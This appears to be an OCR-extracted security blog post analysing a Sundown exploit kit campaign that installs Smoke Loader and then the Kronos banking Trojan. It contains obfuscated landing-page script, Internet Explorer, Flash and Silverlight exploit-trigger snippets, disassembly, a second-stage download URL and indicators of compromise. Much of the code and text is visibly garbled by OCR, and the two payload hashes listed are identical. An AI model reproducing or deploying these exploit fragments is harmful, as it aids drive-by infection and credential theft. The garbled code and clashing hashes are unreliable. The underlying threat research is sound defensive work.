New-looking Sundown EK drops Smoke Loader, Kronos banker
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Jérébme Segura October 17, 2016

As we keep a tab on exploit kits, today we are looking at some changes with Sundown EK. Nowhere near as
popular as RIG EK, this exploit kit still remains a threat with exploits for Internet Explorer, Flash, and Silverlight.

In early October we detected a new landing page format for Sundown EK, which followed on some previous new
URL patterns. The notable changes are additional obfuscation and the (ab)use of white space throughout the
HTML landing page.

For once, the payload dropped in this case isn’'t ransomware but a two stage infection starting with a downloader
which retrieves a banking Trojan.
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# Result  Protocol Host LRL Body

arf.fpzhgnvevitigaliotewbpbjemaeikvuiwngg . top  findex. php?uEvgEFa30sJUSg=sCa2MW 2 1gdRFX_c16]IolmGgZJi-RVrggCiniMilg 7 ksX. ..

Fiz 200 HTTP arf.fozhgnvevitigaliotewbphjemaskvuiwngg.top /5803675896789 546 54986459286,/48956 79456 784568 7435648 7356743256, swf 33,591
Elz 200 HTTP arf.fpzhgnvevitigaliotewbpbiemaeikvuiwngg.top (5803675806750 546 54036450286/459643007 7394697436 57974386 794384, xap 20,412
El4 200 HTTP sd4.gluvapwvoakuplznaophtwixawwnowhfmig....  fz.phpfid=109 118,904
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Inspectors | 4 autoResponder I # Composer I% FiddlerSeript | [El Log I [ Filters I_— Tlmeline|

IHeaders | TextView | SyntaxView | WebForms | HexView | Auth | Cookies | Raw | 150N | XML |

Request Headers [Raw] [Header Definitions]

GET /index php?uEvgEFa3ls) USg=sCaZzMW2 1qdRFX_c16JloimGoZli-RVrgaCinINila 7 lksXw 7 hRTla HTTP/1.1

Transformer | Headers ||Text\.|"|ew | SyntaxView | ImageView | HexView | WebView | Auth | Caching | Cookies | Raw | JSON | XML |

<IDOCTYPE html PUBLIC "-/AW3C//DTD XHTML 1.0 Strict//EN" "http://www w3.0ra/TR.Ahtml 1/DTDAhtml 1-strict dtd ">
<html lang="en" dir="ttr'"> y
<head:
ditlex
NAbuEpDSCdXfoFWh  <itlex
</heads
<body><script >GFsjhdfgihdesgdffjhd=true if |G Fsjhdfgihdesgdfjhd)Hfunction k({{var a=l{).c={document), HJFghjgdshJHG="script" b=c["createE"+"lement"}HJFghjgdshJHG)b["type"]
="texdj"+"avascript" b text=a a=document ["get HementsBy TagMName"'}"'script "}[0].a parentMode[bo="Before”, "insert " +bo{b a)itry fklcatchim}{function 1}{var s="
BASEB4HERE" var e={}ib=0.cxaq=0ar="" dfgdfig=Sting fromCharCode L=g length var A="ABCDEFGHIJKLMNOPGQRSTIUNWWXY Zabodefghijklmnopgretuvwez 0123456789
-+ forl=0i<2+30+32;i+=}e[A charft ()= forfe=0x<L x++}{c=e[s charft)]b=lb<<6}c ag+=6bx=2whilelaq>=(8)}la=b>>>ag-=10-2))&200+ 55 <bx))8&({r+=dfgdfa(a))Hiretum ri}</script>
</body=<body><script >GFsihdfghdesgdffihd=true if{{GFsjhdfgihdesgdffihd)Hfunction k{ivar a{).c={document) HJFghjgdshJHG="script" b=c['createE"+"lement "{HJFghjgdshJHG)b
['type"]="text ]+ avascript” b text=a a=documert[ 'get Blemerts By TagName"}{"script "}[0].a. parent Node [bo="Before ", "insert "+bo){b a)itry k (icatchim) (function 1) {var
s="ZnVu"3Rpb24g\Ghya3lqaGRmdGdgc2Co Zmdy ZWdmZWZ2ZWWh KSB7DCoglCAgdmFylGpmZmdn| D 0gd 2uZG53LmBv Y 3 ZW50Lm My ZWF0ZUVe ZW lbnCGolmQilCsglypzd 3Nk Z
mpzZ 2pranik ZmdkaG Zre2 Rnam RrZmdnam RrZmdoc 2Rk KidgIml 2lik TDQoglCAad 2uZG 930m Ry Y 3 ZW S0 LmdvZ Hku Y XBw ZW Sk Q 2hpb GolC8ac3dz 7G70c 2daa2pz Z2G7n Z2GhmaiNk 2
2pka2ZnZ2pka2ZnaHNkZCovIGpm ZmdnKTsNCiAgICBgZmZnZ 1siaWhuZSIg Ky Aickh UTUwiXSASIG ZnemVnZmVimdm WY TeNCnO7DQo NCmZ 1bmN0a WSulGR2c 2R2Y 3coKSB7DQ0gIC
AgdmFylGZiZ2)27m 22X 7DQogl CAgZmdnYnZmZmRldiASICc Bb2)g ZWNOIGNs YXNzaWQ3Iim Nsc AkOmCyN2NiYjALWRANmQtM TR ZiD5Nm 4L TQOND U1 Mz UOMD AwMCla Y Wesb 3d T
Y 3pcHRBY2NIc3M3Y W 3YXzIHdp ZHRo P SlyMSlgaGVpZ2h 0P Slz Mil+JzsNCiAgICBmYmdidm Zm ZGV21 D 0gZmdn YnZmZmRIdiAriCe BeGFy'YW0gbm Rt Z TOb WS52aWUIlHZhbHWVIPSI10D
AzNjc10Dk2ZNzgSNTGZNTQS0DYON Ty QDYwNDgSNTY30 TQ 1Njc4NDU20 DedMz UZNDa 3Mz UZNzQzMj U2Ln N 32| gLz4nOyAvKn N 3c2RmanhNnamtqc 2RmZ2Ro Zmtz 2Gdg ZGtm Z2dg
ZGtmZ2hzZ2GQAqLwKICAgIGZAZ2)2ZmZk Z¥Y g P SBmYmdidmZmZGY2ICsgJoow Y X Jhb SBu YW 1IP SJwbGFSB2YWx 1ZTOidHJ 1Z5 v Pic 7DQogICAgZmdn YnZmZmRIdiASIG A Z2) 27m 2 ZX
(g KyAnPHEhcmFt G Shb WU SRmxhe 2h WY XJzIHZhb HWP SJleGVi P TewO TASM DlowiO TASM DlewQ TASMDlowQ TASM DlowQ TASM DlewO TASMDlowQ TASM DlowQ TAEM DlewC TABMDlowQ
TASMDew O TARMDlew O TRFQice Mz NDO TYNOF I AMTMwOFIANIRDOF I ANIFNOFI RTAAOFIART e Flz MiY 2zl DRI FAN VE M Mz M A0 Z DM N DRCNDL ERQ7RCN TN AMNNENT

After

»

m

2/7


https://blog.malwarebytes.com/wp-content/uploads/2016/10/Sundown-pre.png

Result  Protocol Host LRL

£ Jindex.php?BFn3HGCAgA =55 28Mjmi 16R.QG 3jf2qB19 InXhsFiqBMarQfaziFiVeoksXmwLLIEZND

A2 404 HTTP fhbg. futureproducts.xyz  fundefined 570
200 HTTP frbag. futureproducts.xyz  [45786437956439785/127. awf 22,693

200 HTTP fhbg. futureproducts.xyz /5803675896739 546 54986459286,/43956 79456 7845687435648 7356743256 .swf 33,591
5 200 HTTP fhbg. futureproducts.xyz (5803675896 789546 54986455 286 /459643097739969 743657974386 794384, xap 20,412
Els 200  HTTP de.pidogo.xyz  [43526876827345687356872456, php?id=127 122,405
Bl 200 HTTP de.pidogo.xyz Jz.php?id=127 122,405

4 L

L

@ Statistics | i+ Inspectors | 4 AutoResponder I # Composer I S35 FiddlerScriptI [E Log I [ Filters |_— 'I'|rne|ine|
Headers | TextView Syntaxview WebForms HexView Auth Cookies Raw J50M ¥ML

GET /index. php ?8Fn3HGC BaA=s S 28Nimi 16RAG 3 20BJ9 TnXhs Fig BMErQf 92 FjV6oks XmwLUIEZNO HTTP/1.0

Transformer Headers | TextView SyntaxView ImageView HexView WebView Auth Caching Cookies Raw JS0M XML

<IDOCTYPE html PUBLIC "-//W3C,//DTD XHTML 1.0 Strict//EN" "http://www w3.ora/TR/xhtml1/DTDxhtml 1-strict dtd™>
<html lang="en" dir=""1r">
<head=<script>

+c W FPCWHIO Y 1+cig2vE TWJ 9256 A5V AEKGIS Gawndm Vi 1/ Theec TEEZ Y 20gKAEAFpk EYNZnHghcDUdhz YMEnGIUFzUCAL RIB/ TLAYvt+w FexsWd th/LXe 4 DOPXSny0 1Y Y6tpaB Ts
(Chebz Ay 7ck 3U3i4DREzZ2vw Slu 7VFUd+yBGvYL17dm4ubdediv1 1HUcp+

2YESXBzJClUpohagglyVWy54j25n FhOsrelV+b 9GP N+ADU SwalL23KVG K4kQvinb Bt NXM 1P 5CoPIYVBERf Diub PbdqOht 2a L6240 SqX452qt V2 UjWeb0Zetg Aeae (v DIHc KElye 8TY=)
</script > <script >Hjdgfhfsf

(O7CWOITHSm'Yu SG TauhrWpt ZEAW Duz XCf Rk RILr&fLFg 520 B Z¢¥c MW JK3Wu KP Shf + X EausuQ4m2F Ucglra vk BSe Kl FdIQGuo KL Si+b 0 Di/gOM U+ FulRKe 00cO SinLfiRHAG0Y 2+l W
MCZEpnc6+uchuQB88qAT70RC./ LY T5sLaOole OIS 7sQTM7+G+

SWhRGvrvicJhwddussOuFay6 Wy 715 /sjml DeWk 08 ALntayv MY+WUK=/MDy 1 SUQP 4lalHtuRZgt DFVc De Bkikl: TUHDfq U UOm% PK/ocG 1KHrasCqt Nl 6m TJBDIs KLX 4Gy 60 Tmm Sncp KX
vZANET55)gCe BNo ReGRLALW e Sjaked SRQT+T 7KBugf WwhaCceMH5pi0H 7 TIRgAt VDG 543N/ JICRS00gBWy TokjE7KKATdvxl 7eNg Jbg Tw S+0ocd 0 Batth 4¢3,/ YmGCz P 10 Kj*barlaGrCFe S
HMFMPwrPtcM2X+ctnWesk AVES6243

=xctABgzdrizck 70/Bw31 TspAX24 ZHHLRPRXJ4Ng Yoga Unf ThQWq4G AdfIHm3Ha 7N 3d Ulh P 3b BJ B8 Ak g+ DJ UdriGhk X AWOFEYBINDZUTZdGOmBAF4C+Ywrb S5llil PgnhmOf Sjlaad
mPogL+WTHmc8xbgdd /pEgKm+hUnUaJ5XZx8 Dd0gg 1Ce+rTEanVybnClk 3Rva ONJEVmYAvu Slowh Mg S LS 2 2uem Slomiifm Ui Tz UHCk  FACFO cHzb 1e+d 40 2f MpNg LEXS AVWE Jn MVeJ RiC
za 1ckMfojbHmMNaz R0u8gy Ep ShyH 2w 5«8t/ 3Ungg S9bPslim BNX2sR/T2h+DTO 30Y Dal 22 zvuG B YLV BEv UG 1gi Ty TOby4b /njMuOgowD BengemBe 8LUG LgaN4phKmugXLh 75sd EznuGIlIR
le+Eecw YugetyiPjDQN 7o KgGle ShpXye DdugwC4D 7HTyao PR+

Bu76n SegddXGZB K/ KKTITAK+LIwEFOWGISioQ7wAsIms In7nbhF2bepy 74h Loyu AFQ Nz Q0ICG Jg Gty Leyucg fcMierLiZem KW MMOiEa LIS 35Ji My Ka YT+

1FX3A0NChs Tned 78 Acml+RwGLOKEm 18%zFhYPe8Z11PnjHFVVBBEe APfDeVip AgrZthfziWm 1NKbRn 1P./41Rj S g YKdPpbn Tn FRVEK %u3dezazdv TF U2WDn EXIHu Dy 5iVOb ULjBign BV
23rYzQ00tiukY's3b Eolsh 1t TcoCBbP 1mlAdsdsp 7W+qDYglUDt Us502sai U 70 RZF 2V Ley KW 75050IHp TmLnoCsHF +6++

2Tnw RrFs 7e KYBziX/Mhf HDj%ip TirGcSwml Sduowf 7ch P MMy N At KGtLGED S A7mAuz KW DO PuKb B 1pICRP 2XX¢Go F&z0m 5z MnjUCgire WVXWVCZ LamvG Ka Mw TOb Wi LUJsNF 1i0 DMsP Pk NKSAQ
aBsb 72L4R3FmBZ 1Lsr2/+msGEpxch G BwJ5QeKGilk A7TSDAMY 7k 15B 8a95Zaye WoE+

0TeeTg2b0dJFxtVLisQad+Lktc AZC 34R4wQcKmeBHEh Ao Ro M8PkmXuHiKgg2 Tll/piPVKIIGzmO ETLAZI SHIno Rat D2e Tv AyQ FlUfgGemF 3N4iMo VW1 05v 3bal Lagj 2grHG 55t O1VWym Zk 10D

pe59b FXKelEl9aHk DBSGFQidz HIK23Xd TWSHCGIRNAWfiupWuZARZk U 18251k M4v 7pf+jm B Dyk: FO 3dag LWd /1L 23p At YVC Zok XmE39524w==")</script > </body>
</html

Here are some highlights

m

m

Call for IE exploit

</script><script type="text/ja ipt">document.namespaces.add( v
‘urn:schemas-microsoft-com:vml®, “#default#VML"

document.createStyleSheet().css5Text "w:* { behavior:url(#default#VML); display: inline-block;
im

I

var ovl val'; wvar oke ‘stroke’

var vl "ev " " oke

var v 4 ovl L oke id >
document.body.insertAdjacentHTML( ‘afterbegin’, vl
document.body.insertAdjacentHTML( ‘afterbegin’, v2

Call for Flash exploit
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https://blog.malwarebytes.com/wp-content/uploads/2016/10/new_Sundown.png

</script><script type="te
try{try{var kjfgkjfgfv=new hjsdf
kjfgkjfgfv.AllowScriptAccess
‘ShockwaveFlash.ShockwaveFlash®
1] }catch(e){try
navigator.plugins| "Shockwave Flash
description.replace(/\D+/g.","
fsgooifohvbev
function fkhjkghg(hkcgdshfkj
var SFfbfv ‘<object classid="
allowScripthAccess=always width
SFfbfv = SFfbfv ‘am name="
SFfbfv = SFfbfv
SFfbfv SFfbfv
SFfbfv = SFfbfv
allowScriptAccess=
SFfbfv = SFfbfv
SFfbfv = SFfbfv
SFfbfv = SFfbfv
SFfbfv = SFfbfv
SFfbfv = SFfbfv
document.write(SFfbfv

am name=

am name="
am name="
[end1+]

fkhjkghg(" /4578643795643
Call for Silverlight exploit:
function ghjd'Fur

“hj hj

(=2

cript™»dfjkdvEF=true;if((dfjkdvEF
‘ShockwaveFlash.
‘always’
GetVariable
if(navigator.mimeTypes
2.9"

match( /"
var vArr=version.split(’,

‘play”

="data:applicatio

ShockwaveFlash.6" ) ;try
return°6,8,8" }}catch(e
‘$version’).replace(/\D+/g, "
shockwave-flash”

catch(e

"application/;

navigator.plugins
catch(e
21){fkhjkghg

J?('+>J?$; 1

L iif(vArr[ B

clsid:d27cdbbe-aebd-11c
21" h21Cht-“ "
value= hkcgdshflkj

value="true" /3"

‘movie™

-shockwave-flash™

plication
" height=
value=""
value="true

hkCUdsthj B b

movie™
pl%

objectsct--<If

'x-silverlight
' widt @ height=1@><p;
fA5964389773946974365797

1FFFFFFFFDO7
12121212

h:kh:k ghjgh:

Payload launch (via wscript):

return new

enabledPlugin
"Shockwave Flash™

return‘9,8,8"
else{ADfsdgs

data="

function fsgodifohvbev

i hjsdf
*y.match( /", ?(.+), ?$/
return

var version

"+ hkcgdshfkj +'"




.Shell™)

&Chr

end function

Malwarebytes Anti-Exploit blocks the various exploits pushed by Sundown EK:

¥ Fiddler Session £1 - http://fhbg.futureproducts.yz/index.php?8Fn3HG C8gA=sS28Njmil 6RQG3jf2qBI nXhsFigBMBrQfzIFVEoksXmwl Ui... [ = || B |[sE3m]

1 Request ! Response El Properties

Headers | TextView | syntaxview | Imageview | Hexview | webview | Auth | caching | Cookies [Raw [ asom [xmL |

</scrpt></head>
<body>
<script>Hidgfhfsf (a0 SMKTYIE&ZVHz 4Oy UBJKE4mNthmtkCSJ0J-WPOEb6Qs 5w YatCEAD+KHQRD/
- XAD8ZeGEGIBNEIsbXXICk SJEZeKBts daHQ Bk Ko ZkKVAKI2F /o ESb NN YwE T15qk JduTCH +lgi\GEZY05/caglzg Sc4at Kb NQpb-+LB 14qa LiiFc Y/HOJUZowWAUGwlKEYn
UY/bn/MicklcGoDmVplkc 5gWp WDnE Srwok Z2GWukn5 U Tpo PuSF5+RDfK70 SKx SQZKIN35UNG He FxOQRKCh ZIFRDUG 2usO Eq5 T TUAIAR+

— —— T-SEx6FNQOoJDEDL/5LiED Ridhrlo3ZTsYdM6/ Vo Tmni LISKKOCMEN
T BRI i 2l L 28 | 10175 510G Do S&iLimaVicP HZBD 9 20bsz0-NWKOVID

SJELEU7PsrZh 3NqaN2sukaD33E§omGaE[chTCHKﬂgpMd 0TOeYaiQg =

- NI} i L L " I A A, AT inl N 4wl | el W~
W EWTET ) OV CERNV(B S ]| Malwarebytes Anti-Exploit (=]
blocked an exploit atten
s alre £ . DIC s
o DIC a0 8 BEXDIO atie .
Application: Internet Explorer (and add-ons)
Protection Layer: Malicious Memary Protection
Protection Technique: Exploit code executing from Heap memary b| -
ol 2 : b Application: Internet Explorer {and add-ons)
File/Process Blodked: N/A )
Protection Layer: Application Behaviour Protection

Attacking URL: M/A . .
/ Protection Technique: Exploit Visual Basic Scripting blocked

Fil Blodked:
Malwarebytes ileProcess Blo N/

ANTI-EXPLOIT Attacking URL: N/A

Halav T+E710Cam5 WeJKTHw XV BeF ZUVCigrOL AsBpr2ivib 3c i
NQsdeisXianFo57alC4zD 7epWs,/ SwlD8qsbh Th4ZNP+Qap Bt EhBloy 8FxLyz

Malwarebytes

R+ ADUT2ulXpvCIEUP 7N 25m TWW VP Rz 3mcf RE-n KMCnbVA+vC A Close
A Ao I TN 2T W VPRAXnaRE i VA2 \&Y/ ANTI-EXPLOIT
177:44  5,629/50,808 |Finc|... (press Ctrl+Enter to highligitan)

[T Viewin Notepad | ...

Payload overview
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https://www.malwarebytes.com/antiexploit

The initial dropped payload we captured in this particular new Sundown EK instance is Smoke Loader a
downloader whose purpose is to retrieve additional malware. Not too long ago, we observed Smoke Loader

being distributed by RIG EK.

gad4alvee (. (PUSH EDI

Ba4a17ed (| . [PUSH Buz2E

ge4a1vcE |1 . | PUSH al.Ba4a4a08
aa4aivrz || . | CALL al.BB4Bl?24

2 . |MOU ESIE

GE4E17A ||« | ®OR ERA, EHX

aa417eC (|- | MOU CLOBAL. 21,ERX
Ba4a177F |] . XDR EDI.EDI

aa4a17e1 || .

gad4aivaz || . CHLL DMDRD PTR D2: [Ex4020228]
Ba4a17sa (| . | TEST EAX,ERAX

Ba4a172a (| ~ |JL SHDRT al.BE40170s
aa4aivac || . | INC EAX

Ba4a1720 (| . [ HOR EBH EBX

aa4ai17ar [| » |fCHP R O5: [ESI+EBX], @:1
BE4a1792 ] .~ || JHE SHDRT a1 BB4BI?C4
aa4a173s (| . IHC

\E4E1 798 o HaL EDX [LDCHL 21
aa4A17I6 o CHMP EDH, [ARG. 11
\E4E179E e SHDRT al.884817C1
aa4a17AA o MO BYTE FTR DS: [ESI+EEX], @xi@
BEdE17HS o MOl ERK. EEX
aa4A17AG o SUB ERX.EDI
BEdB17HE o IMC ERR
aad4a1vAS o FUSH ERX
Ba4E17HA CALL al.@sdd]l7as
aad4a17AF MO CLOCAL. 13, ERX
BEd4B1vES ROO EDILESI
aad4a17Ed FUSH EDI
BEa4H17ES o MOY EAR, CLOCAL. 13
aRda1vES o FUSH ERX
- |l oA _oworD pTe_Dg: [es4pece+d

ge4817B3
4

al.@a485642

al.BB4BEE4S

lstrlen

al.BB4a50845

al.@aqalres

ConcatString
letroatH

[31.38435248

ArgZ = GEABE23E
[ﬂrgl = @a484a06
decrynt strinas

String E aagRaa s s e

[Hrgl = BEZBEEEE

StringTofdd = ™"

= fdadsgdagid. HdaHdadarda

88453?24:31.88481?24

HAddress

Hex dump

ASCII

BEZBHEED
BEZEOE 10
BEZBHE2E
HEZBAE3E
BEZBHE40
HEZEAESE
BEZBHECH
BEZEDETE
BEZBRE2E
BEZEDESG
BEZEEEAG
BEZEGBED
BEZERECEH
BEZEGE06
BEZEGBED

e

T[22 25 64 2E| 25 &4 23 2E| Kd#rnsiRs#Nd. hdui
2325 64 23 25|64 A1 25 o4 daddaddendsidEsd
2564 2E 25 64|28 25 &4 23| thsHusin
5423 25 73 61|68 V4 74 78| Hdsda Athttp
S0 59 62 T2 &F| 73 &F &8 74| vwww.microsoft
EF| 66 74 77 61|72 65 SC 40| . comASof twaresH
T4/ EC 49 &6E V4|65 T2 &E &E| icrosoft-Interne
TZ|65 72 81 53| 6F 66 74 77|t Edplorer@Softw
74|77 61 T2 65| EC 40 &9 &2 are@Sof tware~Mic
57|59 6E &4 &F|7F 73 5C 43| rosoft~lindows~C
EE|F2 F2 &9 &F|&E EC 58 &F|urrentlersion~Fo
45| ¥3 @ 6C 6F| 72 65 T2 SC| licies~Explorer~
74| F7 61 T2 65| EC 40 &9 &2| Run@Sof tware~Mic
57|59 6E 64 6F|7F 73 5C 43| rosoft~lindows~C
E5| Y2 V3 &9 EF|&E BC 52 V& u££gntUer§Lon\Rﬂ

Upon execution, Smoke Loader will download a second stage payload
from https.//dl.dropboxusercontent.com/s/403dllw65z6wemb/vamos.lek.

11Z852FA
2EE2FC
112852FE
1 2E52EE

This particular piece of malware belongs to the Kronos banking Trojan family. It is a credential-stealer with form

0 @9
» 8045 F2

=1}

&5 SSES2A01
» 2020 &CFFFFFF
. E2 VBEFFFFF
. EA
.  ES8 z2éipepag
. EH 42
. 2045 F2
. E@
;B Paesenl
E2 FRDEFFFF
23C4 18

FUSH &Exz@

TEST ERX,EAX

JE SHORT wamos_pa.d1265387
LEA ECH,[LOCAL. 21

FPUSH ECH

FUSH ER:x

JHP SHORT wamos_pa.d1285218
LEA EA:, [LOCAL.Z21

FUSH ERX

FUSH wamos_pa.8126EB9LE

LEA ECH,[LOCAL. 271

CALL wamos_pa.B81261228
FUSH ERX

CALL wamos_pa. 81282047

PUSH Ax42

LEH EHH.[LDCHL.E]

NDU ESI.vamos pa. B12323606
FLUSH

CALL uamos pa. B126322C

AOO ESP.BHIS
FlISH FaT

grabbing and HTML injection capabilities.

Both of those threats are detected by Malwarebytes Anti-Malware:

kerne |32.BazeThireadIn itThunk

kernel32.BaseThreadIn it Thunk

kernelSE BaseThreadIn itThunk
ASCII "Eronos™

kerne |32.BaseThreadIn it Thunk
Hrad = Haanaa42

Arg:z = veB33C33

Aral = BEE80858
vamos_pa. @1 283220
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https://blog.malwarebytes.com/threat-analysis/exploits-threat-analysis/2016/07/a-look-into-some-rig-exploit-kit-campaigns/
https://www.malwarebytes.com/antimalware

Malwarebytes

ANTI-MALWARE DASHBOARD HISTORY MY ACCOUNT
Total Th reats Detected : 2 2 of 2 identified threats are selected
~'| Threat Category Type Location
+'| Trojan.Banker @ Malware File C:\scan'\Kronos
+|  Trojan.Injector @® Malware  File C:\scan\Sundown_drop
Footnotes

We first noticed increased activity from Sundown EK earlier this year, and not a whole lot has changed after
Angler went offline. Neutrino and RIG battled for the top spot while others like Magnitude and Sundown kept on
doing their smaller, more targeted campaigns.

Collecting this Kronos payload was interesting because it is part of a trend we have observed recently of an
increased number in banking Trojans distributed via malvertising campaigns.

Special thanks to @hasherezade for help in unpacking the malware payloads.

Further reading

Smoke Loader — downloader with a smokescreen still alive

I0Cs:

e Raw Sundown EK landing: Link
o Partially deobfuscated landing (thanks David Ledbetter): Link
o URL patterns:
o fhbg.futureproducts.xyz/index.php?
8Fn3HGC8gA=sS28Njmi16RQG3jf2qBJ91nXhsFjgBM8rQf9zIFjJV6oksXmwLUIEzNO
o fhbg.futureproducts.xyz/undefined
o fhbg.futureproducts.xyz/45786437956439785/127.swf
o fhbg.futureproducts.xyz/580367589678954654986459286/489567945678456874356487356743256.swf
o fhbg.futureproducts.xyz/580367589678954654986459286/459643097739469743657974386794384.xap
o de.piclogo.xyz/43526876827345687356872456.php?id=127
o de.piclogo.xyz/z.php?id=127
o Smoke Loader: e420e521f891c1a6245e377dc7ab6ab70458b7c0d77ad39535¢ch59018a542fe15
o Kronos: e420e521f891c1a6245e377dc7a6ab70458b7c0d77ad39535ch59018a542fe15

7/7


https://blog.malwarebytes.com/threat-analysis/2016/06/a-look-at-the-angler-less-exploit-kit-scene/
https://twitter.com/hasherezade
https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/
https://malwarebytes.box.com/s/qphvfvnidx0jdqykm48lfqh0ethcamdv
https://twitter.com/Ledtech3
https://malwarebytes.box.com/s/ny19iq7sgno5halixwyjsddfdljw96tj

